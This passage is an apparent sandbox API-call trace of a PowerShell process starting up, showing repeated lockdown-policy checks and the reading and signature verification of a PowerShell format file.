lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0093.519] CoTaskMemFree (pv=0x42c9ac0) [0093.519] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0093.519] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0093.519] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0093.519] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0093.519] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0093.519] WldpGetLockdownPolicy () returned 0x0 [0093.519] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0093.519] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0093.519] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0093.519] RegCloseKey (hKey=0x528) returned 0x0 [0093.520] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0093.520] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0093.520] CoTaskMemFree (pv=0x42c9ac0) [0093.520] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0093.520] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0093.520] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0093.520] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0093.520] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0093.520] WldpGetLockdownPolicy () returned 0x0 [0093.520] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0093.520] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0093.520] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0093.520] RegCloseKey (hKey=0x528) returned 0x0 [0093.520] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0093.520] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0093.521] CoTaskMemFree (pv=0x42c9ac0) [0093.521] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0093.521] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0093.521] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0093.521] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0093.521] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0093.521] WldpGetLockdownPolicy () returned 0x0 [0093.521] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0093.521] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0093.521] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0093.521] RegCloseKey (hKey=0x528) returned 0x0 [0093.522] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0093.522] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0093.522] CoTaskMemFree (pv=0x42c9ac0) [0093.522] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0093.522] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0093.522] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0093.522] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0093.522] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0093.522] WldpGetLockdownPolicy () returned 0x0 [0093.522] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0093.522] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0093.522] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0093.522] RegCloseKey (hKey=0x528) returned 0x0 [0093.677] CoTaskMemAlloc (cb=0x210) returned 0x42c9ac0 [0093.677] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x42c9ac0, nSize=0x106 | out: lpBuffer="\xe9e8\x43b\x8ef8\x8dd\x69\x6e\x64\x6f\x77\x73\x5c\x73\x79\x73\x74\x65\x6d\x33\x32") returned 0x0 [0093.677] CoTaskMemFree (pv=0x42c9ac0) [0093.678] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x427dd24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0093.678] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0093.678] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0093.678] CoTaskMemFree (pv=0x42c9ac0) [0093.678] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427dbf8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0093.678] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dc74, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0093.678] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e0d4) returned 1 [0093.678] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e150 | out: lpFileInformation=0x427e150*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0093.678] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e0d0) returned 1 [0093.678] WldpGetLockdownPolicy () returned 0x0 [0093.678] GetSystemInfo (in: lpSystemInfo=0x427e17c | out: lpSystemInfo=0x427e17c*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0093.679] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e108 | out: phkResult=0x427e108*=0x528) returned 0x0 [0093.679] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e124, lpData=0x0, lpcbData=0x427e120*=0x0 | out: lpType=0x427e124*=0x0, lpData=0x0, lpcbData=0x427e120*=0x0) returned 0x2 [0093.679] RegCloseKey (hKey=0x528) returned 0x0 [0093.679] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x427dc1c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0093.679] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e110) returned 1 [0093.679] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\certificate.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x528 [0093.679] GetFileType (hFile=0x528) returned 0x1 [0093.679] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e10c) returned 1 [0093.679] GetFileType (hFile=0x528) returned 0x1 [0093.679] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x0 [0093.679] ReadFile (in: hFile=0x528, lpBuffer=0x6bc4f7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6bc4f7c*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0093.741] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x1000 [0093.741] ReadFile (in: hFile=0x528, lpBuffer=0x6bc4f7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6bc4f7c*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0093.749] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x2000 [0093.749] ReadFile (in: hFile=0x528, lpBuffer=0x6bc4f7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6bc4f7c*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0093.749] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x3000 [0093.749] ReadFile (in: hFile=0x528, lpBuffer=0x6bc4f7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6bc4f7c*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0093.750] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x4000 [0093.750] ReadFile (in: hFile=0x528, lpBuffer=0x6bc4f7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6bc4f7c*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0093.750] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x5000 [0093.750] ReadFile (in: hFile=0x528, lpBuffer=0x6bc4f7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6bc4f7c*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0093.750] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x6000 [0093.750] ReadFile (in: hFile=0x528, lpBuffer=0x6bc4f7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6bc4f7c*, lpNumberOfBytesRead=0x427e180*=0xaca, lpOverlapped=0x0) returned 1 [0093.751] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x6aca [0093.751] ReadFile (in: hFile=0x528, lpBuffer=0x6bc45e6, nNumberOfBytesToRead=0x136, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6bc45e6*, lpNumberOfBytesRead=0x427e180*=0x0, lpOverlapped=0x0) returned 1 [0093.751] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x6aca [0093.751] ReadFile (in: hFile=0x528, lpBuffer=0x6bc4f7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6bc4f7c*, lpNumberOfBytesRead=0x427e180*=0x0, lpOverlapped=0x0) returned 1 [0093.751] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0093.751] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0093.752] CoTaskMemFree (pv=0x42c9ac0) [0093.752] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427dbe8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0093.752] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dc64, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0093.752] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e0c4) returned 1 [0093.752] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e140 | out: lpFileInformation=0x427e140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0093.752] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e0c0) returned 1 [0093.752] WldpGetLockdownPolicy () returned 0x0 [0093.752] GetSystemInfo (in: lpSystemInfo=0x427e16c | out: lpSystemInfo=0x427e16c*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0093.752] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e0f8 | out: phkResult=0x427e0f8*=0x6f0) returned 0x0 [0093.752] RegQueryValueExW (in: hKey=0x6f0, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e114, lpData=0x0, lpcbData=0x427e110*=0x0 | out: lpType=0x427e114*=0x0, lpData=0x0, lpcbData=0x427e110*=0x0) returned 0x2 [0093.752] RegCloseKey (hKey=0x6f0) returned 0x0 [0093.752] CloseHandle (hObject=0x528) returned 1 [0093.753] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x427dc64, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0093.753] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e0fc) returned 1 [0093.753] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\certificate.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x6be421c | out: lpFileInformation=0x6be421c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8dbc0e8, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0xc8dbc0e8, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0xc8dbc0e8, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0x6aca)) returned 1 [0093.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e0f8) returned 1 [0093.753] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x427dbcc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0093.753] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e02c) returned 1 [0093.753] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\certificate.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x427e0a8 | out: lpFileInformation=0x427e0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8dbc0e8, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0xc8dbc0e8, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0xc8dbc0e8, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0x6aca)) returned 1 [0093.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e028) returned 1 [0093.753] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x427db00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0093.753] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427dff4) returned 1 [0093.753] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\certificate.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x528 [0093.753] GetFileType (hFile=0x528) returned 0x1 [0093.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427dff0) returned 1 [0093.753] GetFileType (hFile=0x528) returned 0x1 [0093.753] WTGetSignatureInfo () returned 0x0 [0093.872] CertDuplicateCertificateContext (pCertContext=0x8c43130) returned 0x8c43130 [0093.872] CoTaskMemAlloc (cb=0x10) returned 0x8c08ee8 [0093.872] CoTaskMemAlloc (cb=0x30) returned 0x8bf6de8 [0093.872] WinVerifyTrust () returned 0x0 [0093.873] CoTaskMemFree (pv=0x8bf6de8) [0093.873] CoTaskMemFree (pv=0x8c08ee8) [0093.873] CertFreeCertificateContext (pCertContext=0x8c43130) returned 1 [0093.873] CloseHandle (hObject=0x528) returned 1 [0093.955] CoTaskMemAlloc (cb=0x210) returned 0x42c9ac0 [0093.955] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x42c9ac0, nSize=0x106 | out: lpBuffer="\xe9e8\x43b\x8ef8\x8dd") returned 0x0 [0093.955] CoTaskMemFree (pv=0x42c9ac0) [0094.060] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0094.060] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0094.060] CoTaskMemFree (pv=0x42c9ac0) [0094.060] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427dc5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0094.060] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dcd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0094.060] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e138) returned 1 [0094.060] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e1b4 | out: lpFileInformation=0x427e1b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0094.061] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e134) returned 1 [0094.061] WldpGetLockdownPolicy () returned 0x0 [0094.061] GetSystemInfo (in: lpSystemInfo=0x427e1e0 | out: lpSystemInfo=0x427e1e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0094.061] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e16c | out: phkResult=0x427e16c*=0x528) returned 0x0 [0094.061] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e188, lpData=0x0, lpcbData=0x427e184*=0x0 | out: lpType=0x427e188*=0x0, lpData=0x0, lpcbData=0x427e184*=0x0) returned 0x2 [0094.061] RegCloseKey (hKey=0x528) returned 0x0 [0094.203] GetFullPathNameW (in: 